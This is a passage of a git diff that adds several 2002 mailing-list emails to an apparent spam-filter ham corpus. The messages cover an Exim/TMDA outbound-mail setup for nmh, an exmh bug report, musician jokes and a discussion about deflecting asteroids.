Thu, 25 Jul 2002 06:06:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:06:27 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6P496429572 for + ; Thu, 25 Jul 2002 05:09:06 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 6F3843EABC; Thu, 25 Jul 2002 + 00:07:39 -0400 (EDT) +Delivered-To: exmh-users@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 4CFAB4077E + for ; Wed, 24 Jul 2002 23:55:05 -0400 (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6P3t5m17048 for exmh-users@listman.redhat.com; Wed, 24 Jul 2002 + 23:55:05 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6P3t5R17044 for + ; Wed, 24 Jul 2002 23:55:05 -0400 +Received: from dingo.home.kanga.nu (ocker.kanga.nu [198.144.204.213]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6P3hIs05370 for + ; Wed, 24 Jul 2002 23:43:19 -0400 +Received: from localhost ([127.0.0.1] helo=dingo.home.kanga.nu) by + dingo.home.kanga.nu with esmtp (Exim 3.35 #1 (Debian)) id 17XZiR-0007nR-00 + for ; Wed, 24 Jul 2002 20:55:03 -0700 +Received: from localhost ([127.0.0.1] helo=kanga.nu) by + dingo.home.kanga.nu with esmtp (Exim 3.35 #1 (Debian)) id 17XZiQ-0007nK-00 + for ; Wed, 24 Jul 2002 20:55:02 -0700 +To: exmh-users@spamassassin.taint.org +Subject: Re: Folder computed replcomps (and replgroupcomps +In-Reply-To: Message from Hal DeVore of + "Sun, 21 Jul 2002 16:37:21 CDT." + <23937.1027287441@dimebox> +References: <8128.1027129899@kanga.nu> <23937.1027287441@dimebox> +X-Face: ?^_yw@fA`CEX&}--=*&XqXbF-oePvxaT4(kyt\nwM9]{]N!>b^K}-Mb9 + YH%saz^>nq5usBlD"s{(.h'_w|U^3ldUq7wVZz$`u>MB(-4$f\a6Eu8.e=Pf\ +X-Image-Url: http://www.kanga.nu/~claw/kanga.face.tiff +X-Url: http://www.kanga.nu/~claw/ +Message-Id: <29965.1027569302@kanga.nu> +X-Envelope-To: exmh-users@spamassassin.taint.org +From: J C Lawrence +X-Delivery-Agent: TMDA/0.58 +X-Tmda-Fingerprint: oJzZDgI21vxV1zq2tpKX4srUoJs +X-Loop: exmh-users@spamassassin.taint.org +Sender: exmh-users-admin@spamassassin.taint.org +Errors-To: exmh-users-admin@spamassassin.taint.org +X-Beenthere: exmh-users@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +Reply-To: exmh-users@spamassassin.taint.org +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH users +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 20:55:02 -0700 + +On Sun, 21 Jul 2002 16:37:21 -0500 +Hal DeVore wrote: + +>>>>>> On Fri, 19 Jul 2002, "J" == J C Lawrence wrote: + +J> What would be great is if I could build the relevant comp file +J> dynamically at runtime. + +> Sure. Use the "folder change" hooks. Create a proc named +> Hook_FolderChangeSomething (where "Something" is meaningful and likely +> to be unique in the universe just in case you distribute this to +> others). Put the proc in a file in your ~/.tk/exmh directory, +> regenerate the tclIndex, restart exmh. + +> In that proc you can do anything you want, like rewrite your +> ~/Mail/comp file. + +Yeah, that would work, tho there are race conditions and likely/possible +ugly side effects (eg unintentionally left-over comp files). I've ended +up taking a very different route: TMDA (http://www.tmda.net). In +particular I use TMDA outbound filters to add custom plus addresses to +the messages I send to specific lists. + +For example, for the tmda-users list I want a From: address of +claw+tmda@kanga.nu, so the relevant outbound filter is: + + to tmda-users@libertine.org ext=tmda + +which rewrites my From: header transparently. When I get next month's +batch of password reminders from Mailman lists I'll be running about +resubscribing to each list either with a standard plus address or a +TMDA-based sender address (ie an address which only the list in question +is able to send mail to). + + -+- + +Getting TMDA fully happy with nmh was a minor pain. + +Reasons: + + nmh, like MH, by default delivers outbound mail via SMTP to port 25 on + a defined host. The port number cannot be configured (it calls + getservbyname() which does a lookup against "smtp" in /etc/services). + Ergo, you are constrained to use tell nmh to use tmda-sendmail instead + of SMTP. + + Using sendmail as the delivery method under MH instead of SMTP is not + recommended as is loses a number of useful bits of robustness in mail + delivery failure modes. Further, when nmh is configured to use + sendmail instead of SMTP nmh's whom tool calls sendmail as follows: + + .../sendmail/ -m -t -i -bv + + which creates problems: + + Postfix does not support "-bv" and returns in error + + Exim does not support "-t" with "-bv" and returns in error + + Don't mention Qmail. I won't use it. + + "whom" is far too useful as a component tool in MH to lose. + + It would be nice if someone gave the new crew working on nmh a shout + about this. The "-bv" option to sendmail is pretty damned close to + being Allman sendmail specific and thus unfriendly to other MTAs. + Further there are many cases where it would be useful to configure a + non-standard port to deliver outbound mail to via SMTP. nmh's + current insistence on only using port 25 (or as specified in + /etc/services) is a pain. + +I've worked out a hack to use TMDA with Exim while retaining nmh's +"whom" support using Exim's system filter: + + 0) Make sure that the following options are set in ~/.tmda/config: + + DATADIR + ALLOW_MODE_640 + CRYPT_KEY_FILE + FINGERPRINT + + 1) chgrp everything in and under ~/.tmda to group "mail". + + 2) Configure Exim as per the current TMDA HOW-TO. + + 3) Set the following options in exim.conf: + + message_filter = "/etc/exim/filter" + message_filter_pipe_transport = address_pipe + + 4) /etc/exim/filter reads: + + # Exim filter + testprint "local_part: ${local_part: $h_From:}" + testprint "domain: ${domain: $h_From:}" + if "$h_X-tmda-fingerprint:" is "" and + "${domain: $h_From:}" is "kanga.nu" and + "${if exists {/home/${local_part:$h_From:}/.tmda} {true}{false}}" is "true" + then + pipe "/usr/bin/tmda-inject -c /home/${local_part:$h_From:}/.tmda/config" + finish + endif + + Yes, that assumes that all user directories are under /home and that + they use ~/.tmda/config instead of ~/.tmdarc. Hack appropriately for + your setup. + +Basic explanation: + + Exim sends all outbound mail thru the system filter (if one is + configured) before attempting delivery. The above system filter + extracts the user from the From: address and pipes the message thru + that user's TMDA setup via tmda-inject. + + The system filter runs as the same user as Exim, thus the requirement + for the chgrp mail. If your Exim installation runs as a different + user, chgrp as appropriate. + + It should be fairly easy to do something similar under Postfix, but I + haven't investigated that end. + +Notes: + + This requires that all outbound mail that is to be processed with TMDA + has a From: header which references a local user (suffixes are fine), + and that the From: address is fully qualified with a known domain. If + you're vhosting the above setup would be fairly trivial to extend for + other domains and $HOME paths. I'm not vhosting on my desktop and so + don't care. You could also qualify on envelope or other headers if + you wish. + + A nice side effect of this approach for those running shared mail + servers is that ALL users who have TMDA configs instantly get TMDA + support for their outbound mail -- and in a manner that is less + complex and less prone to end-user error than the typical TMDA + configuration. + +Caveat Emptor. + + ObNote: I've also written a small patch against TMDA 0.58 to add a + "hold" delivery method (identical to "confirm" except it sends no + confirmation requests -- very useful for testing configs or doing + silent sidetracking of mail). + +-- +J C Lawrence +---------(*) Satan, oscillate my metallic sonatas. +claw@kanga.nu He lived as a devil, eh? +http://www.kanga.nu/~claw/ Evil is a name of a foeman, as I live. + + + +_______________________________________________ +Exmh-users mailing list +Exmh-users@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-users + + diff --git a/bayes/spamham/easy_ham_2/00725.1ff00314bb409ff8506cd3d6f704d56a b/bayes/spamham/easy_ham_2/00725.1ff00314bb409ff8506cd3d6f704d56a new file mode 100644 index 0000000..5a3365f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00725.1ff00314bb409ff8506cd3d6f704d56a @@ -0,0 +1,94 @@ +From exmh-workers-admin@redhat.com Thu Jul 25 11:07:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BE0B0440DF + for ; Thu, 25 Jul 2002 06:07:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:07:00 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6P9PS411394 for + ; Thu, 25 Jul 2002 10:25:28 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id AE9523F719; Thu, 25 Jul 2002 + 05:24:34 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id A7D983EB40 + for ; Thu, 25 Jul 2002 05:23:53 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6P9NrV29838 for exmh-workers@listman.redhat.com; Thu, 25 Jul 2002 + 05:23:53 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6P9NrR29834 for + ; Thu, 25 Jul 2002 05:23:53 -0400 +Received: from mail.dtek.chalmers.se + (IDENT:g8aJYkpdaY66e+X0WtdhrehwoeogEy8h@osiris.medic.chalmers.se + [129.16.30.197]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id + g6P9C6s16714 for ; Thu, 25 Jul 2002 05:12:06 + -0400 +Received: from yohan.dtek.chalmers.se (yohan.dtek.chalmers.se + [129.16.30.105]) by mail.dtek.chalmers.se (Postfix) with ESMTP id + 05DB73B21E for ; Thu, 25 Jul 2002 11:23:52 +0200 + (MEST) +Received: from dtek.chalmers.se + (IDENT:JCgmr/WyISoSA3O3OA9qlOLUNZHyt3X3@localhost [127.0.0.1]) by + yohan.dtek.chalmers.se (8.9.3/8.9.3) with ESMTP id LAA23571 for + ; Thu, 25 Jul 2002 11:23:48 +0200 (MEST) +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: exmh-workers@spamassassin.taint.org +Subject: Re: [fwd: error exmh 2.5 07/13/2001 ] +References: <1027546301.610.TMDA@deepeddy.vircio.com><5378.1027548783@dimebox> +In-Reply-To: Your message of + "Wed, 24 Jul 2002 17:13:03 CDT." + <5378.1027548783@dimebox> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Message-Id: <23562.1027589024@dtek.chalmers.se> +From: Christer Borang +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 11:23:44 +0200 + +In message <5378.1027548783@dimebox>, Hal DeVore writes: +> +>>>>>> On Wed, 24 Jul 2002, "Chris" == Chris Garrigues wrote: +> +> Chris> Am I the only one for whom typing control-L to the main +> Chris> window causes this error? +> +>Getting it here too on a copy I haven't updated from CVS since +>about May sometime. + +It's in 2.5 as well. + +//Christer + +-- +| Sys admin @ MEDIC WWW: http://www.dtek.chalmers.se/ | +| Email: mort@dtek.chalmers.se Phone: (0)31 772 5431, (0)707 53 57 57 | +"I fought the loa and the loa won, I fought the loa and the loa won..." + -- Dave Aronsson, a.s.r. + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00726.502b93f1aac603deea8b9b4f0c4d098d b/bayes/spamham/easy_ham_2/00726.502b93f1aac603deea8b9b4f0c4d098d new file mode 100644 index 0000000..1cfff67 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00726.502b93f1aac603deea8b9b4f0c4d098d @@ -0,0 +1,79 @@ +From fork-admin@xent.com Thu Jul 25 11:09:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 59D94440DB + for ; Thu, 25 Jul 2002 06:08:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OLCa408080 for ; + Wed, 24 Jul 2002 22:12:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D30B429415A; Wed, 24 Jul 2002 14:11:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id 7A76A29415B for + ; Wed, 24 Jul 2002 14:10:26 -0700 (PDT) +Received: (qmail 4035 invoked by uid 501); 24 Jul 2002 21:10:15 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 24 Jul 2002 21:10:15 -0000 +From: CDale +To: Lucas Gonze +Cc: Flatware or Road Kill? +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 16:10:15 -0500 (CDT) + +Whatcha call the guy who hangs out with the band? +The drummer. +C + +On Wed, 24 Jul 2002, Lucas Gonze wrote: + +> +> Music school jokes -- +> +> American conductor and European conductor are talking. European conductor +> says "what a week, I've had 5 rehearsals and a performance." "That's +> nothing," says the American conductor, "I've had five performances and a +> rehearsal." +> +> What's the difference between a spring in the desert surrounded by palm +> trees and a violist that plays in tune? A violist that plays in tune is a +> mirage. +> +> What's the difference between a rat and a guitar player? The rat's got +> something to do tonight. +> +> Good thing it's not comedy school. +> +> +> +> http://xent.com/mailman/listinfo/fork +> + +-- +"My theology, briefly, is that the universe was dictated but not + signed." (Christopher Morley) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00727.0e0eaefdffb144657140c062e5cc6697 b/bayes/spamham/easy_ham_2/00727.0e0eaefdffb144657140c062e5cc6697 new file mode 100644 index 0000000..a406903 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00727.0e0eaefdffb144657140c062e5cc6697 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Thu Jul 25 11:09:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1B573440D7 + for ; Thu, 25 Jul 2002 06:08:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OMJa411271 for ; + Wed, 24 Jul 2002 23:19:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9003F294160; Wed, 24 Jul 2002 15:18:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (unknown [63.145.31.2]) by xent.com (Postfix) + with ESMTP id 6E3ED29415C for ; Wed, 24 Jul 2002 15:17:42 + -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Wed, 24 Jul 2002 22:17:40 -08:00 +Message-Id: <3D3F2784.2010303@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt/1.5.0 [-1214711651] +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: Flatware or Road Kill? +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 15:17:40 -0700 + +There are so many good musician jokes. + +A couple of my favorites: + +Q. What's the difference between a viola and a violin? +A. A viola burns longer. + +Q. What's the definition of a minor second? +A. Two oboes playing in unison. + +- Joe + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00728.22d62ccf90ef6289df3ace7a14e14169 b/bayes/spamham/easy_ham_2/00728.22d62ccf90ef6289df3ace7a14e14169 new file mode 100644 index 0000000..2858b15 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00728.22d62ccf90ef6289df3ace7a14e14169 @@ -0,0 +1,66 @@ +From fork-admin@xent.com Thu Jul 25 11:09:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 20A09440D8 + for ; Thu, 25 Jul 2002 06:08:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:44 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OMfc412158 for ; + Wed, 24 Jul 2002 23:41:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B6663294160; Wed, 24 Jul 2002 15:40:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 2C7CA29415F for ; + Wed, 24 Jul 2002 15:39:18 -0700 (PDT) +Received: from maya.dyndns.org (ts5-008.ptrb.interhop.net + [165.154.190.72]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6OMEMM05331 for ; Wed, 24 Jul 2002 18:14:26 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id D07CE1C39A; + Wed, 24 Jul 2002 18:23:37 -0400 (EDT) +To: Flatware or Road Kill? +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +References: + <3D3F2784.2010303@barrera.org> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 18:23:37 -0400 + +>>>>> "J" == Joseph S Barrera, writes: + + J> There are so many good musician jokes. + +I'd resisted after the first post, but now? + +Ok, two musicians and a banjo player walk into a music store ... + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Clawhammer Banjo, Mandolin, Fiddle, Mountain Dulcimer, Guitar, Bodhran +"You don't play what you know; you play what you hear." ---- Miles Davis + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00729.733ee0faa56c33c52cb73337b7986261 b/bayes/spamham/easy_ham_2/00729.733ee0faa56c33c52cb73337b7986261 new file mode 100644 index 0000000..488a15e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00729.733ee0faa56c33c52cb73337b7986261 @@ -0,0 +1,57 @@ +From fork-admin@xent.com Thu Jul 25 11:09:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A0698440DC + for ; Thu, 25 Jul 2002 06:08:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:44 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6OMjZ412422 for ; + Wed, 24 Jul 2002 23:45:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4187A294166; Wed, 24 Jul 2002 15:40:12 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from doofus.fnal.gov (doofus.fnal.gov [131.225.81.36]) by + xent.com (Postfix) with ESMTP id ADD4F29415F for ; + Wed, 24 Jul 2002 15:39:48 -0700 (PDT) +Received: from alumni.rice.edu (localhost.localdomain [127.0.0.1]) by + doofus.fnal.gov (8.11.6/8.11.6) with ESMTP id g6OMdmG06093; Wed, + 24 Jul 2002 17:39:48 -0500 +Message-Id: <3D3F2CB3.50006@alumni.rice.edu> +From: Wayne Baisley +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc2) + Gecko/20020513 Netscape/7.0b1 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Flatware or Road Kill? +Subject: Re: "Ouch. Ouch. Ouch. Ouch. Ouch...."(was Re: My brain hurts) +References: + <3D3F2784.2010303@barrera.org> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 17:39:47 -0500 + +> There are so many good musician jokes. + +Young Lutheran's Guide To The Orchestra + +Cheers, +Wayne + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00730.9c53ad2d4e49284023f1ead62c033715 b/bayes/spamham/easy_ham_2/00730.9c53ad2d4e49284023f1ead62c033715 new file mode 100644 index 0000000..16a6149 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00730.9c53ad2d4e49284023f1ead62c033715 @@ -0,0 +1,73 @@ +From fork-admin@xent.com Thu Jul 25 11:33:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9D661440D1 + for ; Thu, 25 Jul 2002 06:33:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:33:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PAQc418105 for ; + Thu, 25 Jul 2002 11:26:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BAD992940A2; Thu, 25 Jul 2002 03:25:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 96A732940A0 for + ; Thu, 25 Jul 2002 03:24:28 -0700 (PDT) +Received: (qmail 2137 invoked by uid 508); 25 Jul 2002 10:24:29 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.71) by + venus.phpwebhosting.com with SMTP; 25 Jul 2002 10:24:29 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g6PAOPS28254; Thu, 25 Jul 2002 12:24:26 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Rodent of Unusual Size +Cc: Flatware or Road Kill? +Subject: Re: Asteroids anyone ? +In-Reply-To: <3D3FCECB.764EA5A6@Golux.Com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 12:24:25 +0200 (CEST) + +On Thu, 25 Jul 2002, Rodent of Unusual Size wrote: + +> Doesn't apply to this one; you're off by three orders of magnitude. +> Only 2km diametre, this one. Of course, that's still a lot of mass +> to hit the planet even if it *is* in the form of dust and gas. + +Antimissile defense is designed to operate in ~LEO environment, and knocks +out stuff by kinetic kill or nearby nuking (damage by neutron flux +impacting the fissibles). It is *not* designed to apply a 100 MT warhead +(we don't have these, and synchonous impact is even more out of question) +detonate-on-impact to a 28 km/s rock or rubble target. A 100 MT warhead +most assuredly will scarcely fragment a 2 km target in the few seconds +left before the impact. This is so obvious it doesn't even to need to be +modeled. + +> Even if Shrub's wrist-rocket managed to vaporise it, we'd still get +> transference to the Earth's energy balance, only to the atmosphere +> rather than the litho- or hydrosphere. + +The anti-missile defense is about worse than useless in this case. The +only way to protect is determining orbits at high precision and deflecting +long-term. Decades for targets this size. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00731.501da80bfbc49ec6a80100aef3a6cf0d b/bayes/spamham/easy_ham_2/00731.501da80bfbc49ec6a80100aef3a6cf0d new file mode 100644 index 0000000..24a42c9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00731.501da80bfbc49ec6a80100aef3a6cf0d @@ -0,0 +1,70 @@ +From fork-admin@xent.com Thu Jul 25 11:33:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 30827440D0 + for ; Thu, 25 Jul 2002 06:33:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:33:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6PADc416806 for ; + Thu, 25 Jul 2002 11:13:39 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 447632940A0; Thu, 25 Jul 2002 03:12:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from Boron.MeepZor.Com (i.meepzor.com [204.146.167.214]) by + xent.com (Postfix) with ESMTP id A487A294098 for ; + Thu, 25 Jul 2002 03:11:21 -0700 (PDT) +Received: from Golux.Com (dsl-64-192-128-105.telocity.com + [64.192.128.105]) by Boron.MeepZor.Com (8.11.6/8.11.6) with ESMTP id + g6PABMa08095; Thu, 25 Jul 2002 06:11:23 -0400 +Message-Id: <3D3FCECB.764EA5A6@Golux.Com> +From: Rodent of Unusual Size +Organization: The Apache Software Foundation +X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: Flatware or Road Kill? +Subject: Re: Asteroids anyone ? +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2785.192.216.194.113.1027554367.squirrel@webmail.magnesium.net> + <1027559672.2056.38.camel@avalon> +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 06:11:23 -0400 + +James Rogers wrote: +> +> I don't think a ballistic missile defense system will be much help +> against a rock a couple thousand kilometers in diameter. + +Doesn't apply to this one; you're off by three orders of magnitude. +Only 2km diametre, this one. Of course, that's still a lot of mass +to hit the planet even if it *is* in the form of dust and gas. +Even if Shrub's wrist-rocket managed to vaporise it, we'd still get +transference to the Earth's energy balance, only to the atmosphere +rather than the litho- or hydrosphere. +-- +#ken P-)} + +Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ +Author, developer, opinionist http://Apache-Server.Com/ + +"Millennium hand and shrimp!" +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00732.33c5576e36d753b597c0f5ecf26f16e9 b/bayes/spamham/easy_ham_2/00732.33c5576e36d753b597c0f5ecf26f16e9 new file mode 100644 index 0000000..dea3ab3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00732.33c5576e36d753b597c0f5ecf26f16e9 @@ -0,0 +1,96 @@ 